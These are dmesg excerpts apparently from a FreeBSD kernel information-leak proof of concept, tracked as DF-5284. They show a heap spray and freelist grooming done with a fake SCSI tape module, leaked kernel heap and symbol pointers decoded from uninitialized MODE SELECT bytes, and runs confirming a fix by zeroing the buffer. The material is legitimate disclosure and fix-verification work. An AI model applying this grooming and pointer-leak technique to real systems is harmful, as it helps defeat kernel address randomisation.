dmesg excerpts of the decisive DF-5284 leak runs (no-INVARIANTS kernel,
evilsa.ko loaded, usched :1 poc_comp /dev/nsa0, attempt 0 in every run).
The [EVILSA] lines are printed by the evilsa MODE SELECT capture handler.

run 1 (run.log / run.noinv.log):
  [EVILSA] sprayed+freed 4096 x 16B chunks (kptr 0xffffffff8260d5c0), 512 ending in 0x10/0x90 freed last (pagecode groom)
  [EVILSA] MODE SELECT #1 len 28 payload[12..27]:
  [EVILSA]   10 22 0b 4f 00 f8 ff ff c0 d5 60 82 ff ff 01 ff
  [EVILSA]   chunk[1..7] (freelist ptr bytes): 22 0b 4f 00 f8 ff ff
  [EVILSA] msel28=1 last_len=28
  poc: attempt 0: MTCOMP ok / "28-byte MODE SELECT captured after 1 attempts"

run 2 (run.2.log):
  [EVILSA] MODE SELECT #1 len 28 payload[12..27]:
  [EVILSA]   10 20 0b 4f 00 f8 ff ff c0 d5 60 82 ff ff 01 ff
  [EVILSA]   chunk[1..7] (freelist ptr bytes): 20 0b 4f 00 f8 ff ff

run 3 (run.3.log):
  [EVILSA] MODE SELECT #1 len 28 payload[12..27]:
  [EVILSA]   10 1e 0b 4f 00 f8 ff ff c0 d5 60 82 ff ff 01 ff
  [EVILSA]   chunk[1..7] (freelist ptr bytes): 1e 0b 4f 00 f8 ff ff

  full 28-byte payload (msel_dump, run 3):
  [EVILSA] last MODE SELECT payload[0..27]:
  [EVILSA]   00 00 10 08 7f 00 00 00
  [EVILSA]   00 00 02 00 10 1e 0b 4f
  [EVILSA]   00 f8 ff ff c0 d5 60 82
  [EVILSA]   ff ff 01 ff ff ff ff ff

decode of payload[12..27] = the 16 uninitialized ccomp bytes:
  [12]  0x10      stale pagecode (groomed freelist-linkage low byte)
  [13..19] 22/20/1e 0b 4f 00 f8 ff ff  -> kernel heap pointer
            0xfffff8004f0bXXXX (slab freelist linkage; varies per boot
            exactly as a live heap address does)
  [20..27] c0 d5 60 82 ff ff 01 ff      -> &ev_lock = 0xffffffff8260d5c0
            (spray marker; byte [26] = 0x01 is the calg=1 the driver
            wrote into dconf.sel_comp_alg, page offset 14)

INVARIANTS-kernel run (run.inv-kernel.128loop.log) for contrast:
  (sa0:evilsa0:0:0:0): device does not seem to support compression
  -> the kernel branched on the uninitialized pagecode byte (forced to
     0x7f by the INVARIANTS kmalloc poison), ENODEV, no transmit.

post-fix (run.patched.log): 128 attempts, msel28 stays 0, no 28-byte
MODE SELECT -- the page bytes are zeroed by M_ZERO.